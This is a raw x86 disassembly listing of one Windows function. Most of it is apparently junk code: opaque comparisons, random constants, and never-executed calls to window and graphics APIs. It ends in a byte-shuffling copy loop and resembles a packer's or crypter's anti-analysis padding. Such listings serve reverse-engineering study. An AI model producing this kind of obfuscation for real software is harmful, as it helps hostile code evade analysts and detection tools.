xor ecx, ecx
cmp esi, edx
setg cl
sub ecx, 0x1defcecb
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xfffffff3
jmp 0x461635
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x4615fe
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetParent]
xor eax, eax
mov dword [ebp - 0x1c], 0xfffffffd
jmp 0x46162c
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x461629
push 0x1ecb
push 0x15a3
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongA]
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 6
jne 0x461607
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x16
jg 0x4615e6
dec dword [ebp - 0x20]
jns 0x461557
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x1a
jle 0x46153d
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffff
je 0x46152e
mov esi, dword [ebp - 0x10]
mov esi, dword [esi]
mov dword [ebp - 0x20], 0xdce9
mov dword [ebp - 8], 0x304b25b3
push 2
mov dword [ebp - 0x1c], 0x84902314
mov dword [ebp - 0x14], eax
pop edx
jmp 0x461691
mov ecx, dword [ebp - 0x14]
mov dword [ebp + ecx*4 - 0x1ec], 0x2c593c86
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x461680
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], eax
jne 0x4616c7
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0x20]
cmp ecx, dword [ebp - 0x20]
jne 0x4616bb
mov ecx, dword [ebp - 8]
cmp dword [ebp - 8], eax
jne 0x4616c7
mov ecx, eax
cmp dword [ebp - 0x20], eax
je 0x4616c9
mov ecx, edi
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x1c], 0xfffffffc
jmp 0x4616ef
mov dword [ebp - 8], eax
jmp 0x4616e7
mov ecx, dword [ebp - 8]
mov dword [ebp + ecx*4 - 0x1ec], edi
inc dword [ebp - 8]
cmp dword [ebp - 8], edx
jl 0x4616da
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff8
jl 0x4616d5
add dword [ebp - 0x10], 4
lea ecx, [ebp - 0x190]
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x2c], eax
push 3
pop ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x2c], 7
mov dword [ebp - 0x2c], 0x44555950
mov dword [ebp - 0x2c], 0xfffffff7
push ebx
call fcn.0040194d
xor eax, eax
mov dword [ebp - 8], eax
jmp 0x461748
mov ecx, dword [ebp - 8]
mov dword [ebp + ecx*4 - 0x23c], 0xffffffff
inc dword [ebp - 8]
cmp dword [ebp - 8], 2
jl 0x461737
mov dword [ebp - 8], eax
jmp 0x461766
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x190]
mov dword [eax + ecx*4], 0xfd9e2a8d
inc dword [ebp - 8]
cmp dword [ebp - 8], ebx
jl 0x461753
mov eax, dword [ebp - 0x190]
lea ecx, [ebp - 0x190]
dec dword [eax]
mov dword [ebp - 0x2c], 0x3582f80c
call fcn.00401a1f
test esi, esi
mov esi, dword [ebp - 0x10]
jne 0x46178f
add esi, 8
mov dword [ebp - 0x1c], 0x24a8c6a5
lea ecx, [ebp - 0x178]
mov ebx, 0xffff
mov dword [ebp - 0x34], ebx
mov dword [ebp - 8], 0x9f5fa318
push 2
call fcn.0040194d
xor eax, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x20], 0x5ee56e31
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x2c], 0x3aa9c1c7
mov dword [ebp - 0x14], eax
jmp 0x4617e0
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x178]
or dword [ecx + edx*4], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x4617d0
mov dword [ebp - 0x1c], eax
jmp 0x461806
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x461803
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
xor eax, eax
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe7
jl 0x4617eb
cmp dword [ebp - 0x1c], eax
jne 0x46182a
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x34]
inc dword [ebp - 0x10]
cmp dword [ebp - 8], eax
jne 0x461825
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x20]
cmp dword [ebp - 0x28], eax
je 0x46182c
mov eax, edi
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x10], ebx
mov eax, dword [ebp - 0x28]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setg dl
xor ecx, ecx
cmp edx, 0xfffffff9
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 8]
setle dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x2c]
setg bl
xor ecx, ecx
cmp ebx, eax
mov eax, dword [ebp - 0x178]
setle cl
cmp edi, ecx
sbb edx, edx
neg edx
sub edx, dword [eax + 4]
mov eax, dword [ebp - 0x50]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setl cl
add ecx, dword [ebp - 0x28]
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0x178]
call fcn.00401a1f
add esi, dword [ebp - 0x30]
mov ebx, dword [ebp - 0x24]
inc ebx
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x24], ebx
cmp ebx, dword [ebp - 0x3c]
jl 0x46115d
xor eax, eax
mov dword [ebp - 0x20], 0xc68ec0ae
mov dword [ebp - 0x20], 0x19
jmp 0x461922
mov dword [ebp - 0x14], 0xfffffff7
mov dword [ebp - 0x14], 0xffffffe3
jmp 0x461919
mov dword [ebp - 0x1c], 0x7a00f47a
cmp dword [ebp - 0x20], eax
jne 0x46191f
mov dword [ebp - 0x1c], 0xf
cmp dword [ebp - 0x1c], eax
jge 0x461916
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x461911
push 0x16b4
push 0x195d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
xor eax, eax
dec dword [ebp - 0x1c]
js 0x4618e8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x11
jl 0x4618d0
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffff7
jg 0x4618c0
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x46193b
push eax
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
xor eax, eax
mov ecx, dword [esi]
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], 0x4f16efa4
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], eax
jmp 0x46195c
mov ecx, dword [ebp - 0x1c]
mov dword [ebp + ecx*4 - 0x58], edi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x461952
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jg 0x461aa3
mov dword [ebp - 8], 9
lea ecx, [ebp - 0xe0]
push 4
call fcn.0040194d
xor eax, eax
mov dword [ebp - 8], eax
jmp 0x46199c
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0xe0]
mov dword [ecx + edx*4], 0xe4145c17
inc dword [ebp - 8]
cmp dword [ebp - 8], 4
jl 0x461989
mov byte [ebp - 9], al
cmp byte [ebp - 9], al
je 0x4619c1
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetClipBox]
xor eax, eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], edi
jg 0x461a89
mov ebx, dword [ebp - 0xe0]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp - 8]
mov dword [ebx + 8], eax
cmp dword [ebp + ecx*4 - 0x58], eax
jne 0x4619e9
mov esi, eax
cmp dword [ebp - 8], eax
je 0x4619eb
mov esi, edi
mov ecx, dword [ebp - 8]
xor edx, edx
mov ecx, dword [ebp + ecx*4 - 0x58]
cmp ecx, esi
setne dl
sub edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 8]
add edx, dword [ebp + ecx*4 - 0x58]
je 0x461a3c
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + ecx*4 - 0x58]
mov ecx, dword [ebp - 8]
mov dword [ebp + ecx*4 - 0x58], edx
mov dword [ebp - 0x18], eax
jmp 0x461a34
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x461a31
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_KillTimer]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x35
jne 0x461a18
jmp 0x461a7d
mov dword [ebp - 0x18], eax
jmp 0x461a49
cmp dword [ebp - 0x14], eax
jne 0x461a4f
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x33
jge 0x461a41
mov dword [ebp - 0x14], 0x19
jmp 0x461a77
mov dword [ebp - 0x18], eax
jmp 0x461a6e
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0xe0]
cmp dword [ecx + edx*4], eax
jne 0x461a74
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jle 0x461a5d
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffffa
je 0x461a58
inc dword [ebp - 8]
cmp dword [ebp - 8], edi
jle 0x4619d3
lea ecx, [ebp - 0xe0]
call fcn.00401a1f
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jle 0x46196e
mov esi, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x1a8]
mov dword [ebp - 0x58], eax
add esi, 4
mov dword [ebp - 8], 9
push 2
mov dword [ebp - 0x10], esi
call fcn.0040194d
mov dword [ebp - 0x3c], 9
xor eax, eax
mov dword [ebp - 0x24], 0xf093d7f2
mov dword [ebp - 0x14], eax
jmp 0x461aeb
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x1a8]
mov dword [ecx + edx*4], 6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x461ad8
mov ecx, dword [ebp - 8]
mov edx, 0x958a95cd
mov esi, dword [ebp - 0x1a8]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 8]
sub edx, dword [esi + 4]
add ecx, edx
mov dword [esi + 4], ecx
mov dword [ebp - 8], 0xffffffe8
jmp 0x461bfb
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x28], 0xcdf1
mov dword [ebp - 0x14], 3
mov dword [ebp - 0x24], 0xfffffff7
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x461b60
push 0xc1c
push eax
push eax
push eax
push eax
push 0x1679
push 0x9c5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindowEx]
xor eax, eax
mov ecx, dword [ebp - 8]
neg ecx
je 0x461bf1
inc dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], eax
je 0x461bc6
cmp dword [ebp - 0x24], eax
jne 0x461b85
mov ebx, eax
cmp dword [esi + 4], eax
je 0x461b87
mov ebx, edi
mov ecx, dword [ebp - 0x3c]
xor edx, edx
cmp ebx, ecx
setle dl
mov dword [esi + 4], edx
cmp edx, dword [ebp - 0x14]
je 0x461b9c
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x28]
mov ebx, edi
mov ecx, dword [ebp - 0x14]
sub ecx, 3
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x24], ecx
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x14]
imul ecx, dword [ebp - 0x1c]
test ecx, ecx
jne 0x461bc8
mov ebx, eax
mov ecx, dword [ebp - 0x1c]
mov edx, 0xaf5bfb66
cmp edx, ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, ebx
mov ecx, dword [ebp - 8]
setge dl
xor ebx, ebx
cmp edx, ecx
mov ecx, edi
setle bl
sub ebx, dword [ebp - 8]
add ebx, dword [ebp - 0x1c]
jne 0x461bf3
mov ecx, eax
neg ecx
mov dword [ebp - 0x24], ecx
inc dword [ebp - 8]
cmp dword [ebp - 8], 0xffffffef
jl 0x461b19
lea ecx, [ebp - 0x1a8]
call fcn.00401a1f
mov esi, dword [ebp - 0x10]
mov eax, dword [esi]
mov dword [ebp - 0x18], 0xbac64a68
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x18], 0xffffffe5
jmp 0x461c47
mov byte [ebp - 9], 0
cmp byte [ebp - 9], 0
je 0x461c44
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
call ebx
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_SetParent]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff3
jne 0x461c28
mov dword [ebp - 0x18], 7
cmp dword [ebp - 0x18], 3
jg 0x461e15
mov ebx, 0xad33dc28
mov dword [ebp - 0x10], 0x2daab72b
xor edx, edx
mov dword [ebp - 8], 0xfffffffe
mov dword [ebp - 0x3c], 0xffffffff
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
setne dl
add edx, dword [ebp - 8]
cmp edx, dword [ebp - 0x10]
jge 0x461de2
mov dword [ebp - 0x24], 6
mov dword [ebp - 0x30], 8
mov dword [ebp - 8], 0x14
jmp 0x461dd6
push 3
lea ecx, [ebp - 0x154]
call fcn.0040194d
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x461cdf
mov ecx, dword [ebp - 0x10]
mov dword [ebp + ecx*4 - 0x44], 0xb780
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x461cd1
mov dword [ebp - 0x10], eax
jmp 0x461cf8
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x154]
mov dword [ecx + edx*4], edi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x461ce9
mov dword [ebp - 0x10], eax
jmp 0x461dbf
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x1b8], ebx
mov dword [ebp - 0x1b4], ebx
mov dword [ebp - 0x1b0], ebx
mov dword [ebp - 0x1ac], ebx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jg 0x461dbc
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ebp + ecx*4 - 0x44]
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp + ecx*4 - 0x44]
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ebp + ecx*4 - 0x44]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp + ecx*4 - 0x44]
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x1ac], edx
mov ecx, dword [ebp - 8]
add ecx, edx
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x18]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, 0x72679f1a
mov ecx, dword [ebp - 0x18]
setle dl
xor ebx, ebx
cmp edx, ecx
setg bl
sub ebx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x154]
neg ebx
sbb ebx, ebx
inc ebx
mov dword [ecx], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x461d2d
mov ebx, 0xad33dc28
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], eax
jle 0x461d06
lea ecx, [ebp - 0x154]
call fcn.00401a1f
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x23
je 0x461cbd
jmp 0x461e08
mov dword [ebp - 0x30], 0xd1dd
xor edx, edx
mov dword [ebp - 0x24], ecx
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
dec ecx
add eax, ecx
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
setne dl
mov dword [ebp - 0x3c], edx
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jle 0x461c63
push 4
pop ebx
add esi, ebx
lea ecx, [ebp - 0x16c]
push 2
mov dword [ebp - 0x10], esi
call fcn.0040194d
push dword [ebp + 8]
movdqa xmm0, xmmword [0xa76f60]
lea ecx, [ebp - 0x20c]
push ecx
xor eax, eax
mov dword [ebp - 0x30], 0xfffffff8
lea ecx, [ebp - 0x21c]
mov dword [ebp - 0x30], 0xfffffff7
push ecx
mov dword [ebp - 0x30], 0xc857617c
lea ecx, [ebp - 0xf8]
push eax
movdqu xmmword [ebp - 0x21c], xmm0
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xf4], eax
mov dword [ebp - 0xf0], eax
call fcn.00401a81
mov dword [ebp - 0x30], 0x44bd1a6f
lea ecx, [ebp - 0x1e4]
push ebx
call fcn.0040194d
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x18], eax
jmp 0x461eb0
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x16c]
mov dword [ecx + edx*4], 0x2124f84b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x461e9d
mov dword [ebp - 0x18], eax
jmp 0x461ec8
mov ecx, dword [ebp - 0x18]
mov dword [ebp + ecx*4 - 0xb8], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x461ebb
mov dword [ebp - 0x18], eax
jmp 0x461ee2
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1e4]
or dword [ecx + edx*4], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x461ed2
mov ecx, dword [ebp - 0x16c]
mov esi, dword [ecx + 4]
mov ebx, dword [ecx]
xor ecx, ecx
cmp esi, ebx
setne cl
xor edx, edx
cmp esi, ecx
setle dl
xor ecx, ecx
cmp edx, 0x591b68de
setle cl
dec ecx
add ecx, esi
je 0x461f16
test ebx, ebx
je 0x461f16
mov eax, edi
mov dword [ebp - 0xb8], eax
lea ecx, [ebp - 0x1e4]
inc dword [ebp - 0x24]
call fcn.00401a1f
lea ecx, [ebp - 0xf8]
call fcn.00401a1f
lea ecx, [ebp - 0x16c]
call fcn.00401a1f
cmp dword [ebp - 0x2c], 0
jne 0x462018
cmp byte [ebp - 0x35], 0
mov ebx, dword [ebp - 0x20]
je 0x461f61
cmp dword [ebp - 0x40], edi
jne 0x461f61
mov ecx, dword [ebp + 8]
lea eax, [ebx + 0x10]
add dword [ecx + 8], eax
mov ecx, dword [ebp - 0x10]
push ebx
mov eax, dword [ecx]
mov dword [ebp - 0x30], eax
mov eax, dword [ecx + 4]
add ecx, 8
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x10], ecx
call fcn.00478f50
mov dword [ebp - 0x24], eax
xor eax, eax
pop ecx
mov dword [ebp - 0xb0], eax
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x78], eax
lea eax, [ebp - 0xb0]
push eax
push ebx
call fcn.004778a1
xor ecx, ecx
test ebx, ebx
mov ebx, dword [ebp - 0x80]
mov esi, ecx
jle 0x461ff2
mov eax, esi
and eax, 0x80000001
jns 0x461fb9
dec eax
or eax, 0xfffffffe
inc eax
neg eax
sbb eax, eax
and eax, dword [ebp - 0x30]
add eax, esi
add eax, dword [ebp - 0x30]
imul eax, dword [ebp - 0x2c]
jmp 0x461fce
lea eax, [edx + 1]
cdq
idiv dword [ebp - 0x20]
cmp word [ebx + edx*2], cx
jne 0x461fcb
mov eax, dword [ebp - 0x10]
mov word [ebx + edx*2], di
mov al, byte [edx + eax]
mov edx, dword [ebp - 0x24]
mov byte [esi + edx], al
inc esi
mov eax, dword [ebp - 0x20]
cmp esi, eax
jl 0x461fab
jmp 0x461ff5
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp + 8]
mov dword [edx], eax
mov eax, dword [ebp - 0x24]
mov dword [edx + 4], eax
test ebx, ebx
je 0x46201a
push ebx
call fcn.00479706
pop ecx
xor ecx, ecx
mov dword [ebp - 0x80], ecx
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x78], ecx
jmp 0x46201a
xor ecx, ecx
mov dword [ebp - 8], 0xd526d2e8
mov dword [ebp - 0x14], 0xfffffff7
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x40], 0x6c56d20a
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], 0x5691f3a4
mov dword [ebp - 0x18], ecx
jmp 0x462052
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x12c], 0x8cae2fe8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x462041
push 2
mov dword [ebp - 0x18], ecx
pop edx
jmp 0x46206d
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x90], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x462060
mov dword [ebp - 0x18], ecx
jmp 0x462088
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x11c], 0x4ed09eb
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x462077
cmp dword [ebp - 8], ecx
je 0x4620fc
xor edx, edx
mov dword [ebp - 0x128], 8
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 0x128]
cmp eax, 0xab79
setg dl
mov dword [ebp - 0x14], edx
xor edx, edx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x128]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 8]
cmp eax, 6
mov eax, dword [ebp - 8]
setle dl
cmp edx, edi
sbb esi, esi
xor edx, edx
neg esi
cmp esi, eax
setg dl
mov dword [ebp - 0x20], edx
xor edx, edx
mov eax, dword [ebp - 0x20]
cmp eax, 0x44d5
setge dl
sub edx, 0x2aba
neg edx
sbb edx, edx
inc edx
sub edx, dword [ebp - 8]
jne 0x4620fe
mov edi, ecx
mov eax, dword [ebp - 8]
xor edx, edx
cmp edi, eax
setl dl
sub edx, dword [ebp - 8]
sub edx, dword [ebp - 8]
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x90], edx
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x40], eax
mov eax, 0x86ff5291
mov dword [ebp - 0x90], eax
cmp dword [ebp - 8], eax
je 0x46216a
mov eax, dword [ebp - 0x128]
xor ebx, ebx
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x30]
setle bl
xor edx, edx
cmp eax, ebx
setg dl
mov dword [ebp - 0x128], edx
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x90]
je 0x462164
mov eax, dword [ebp - 0x118]
mov eax, dword [ebp - 0x90]
cmp dword [ebp - 0x40], ecx
je 0x462181
mov byte [ebp - 9], cl
cmp byte [ebp - 9], 0
je 0x4621d3
push ecx
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
jmp 0x4621d3
push 3
mov dword [ebp - 8], ecx
pop eax
jmp 0x4621ce
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ecx
jl 0x4621cb
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jl 0x4621c6
mov byte [ebp - 9], cl
cmp byte [ebp - 9], 0
je 0x4621be
push 0x2390
push 0x245
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
xor eax, eax
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
xor ecx, ecx
dec dword [ebp - 0x14]
jns 0x462199
push 3
pop eax
dec dword [ebp - 0x20]
jns 0x462191
inc dword [ebp - 8]
cmp dword [ebp - 8], eax
jle 0x462189
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret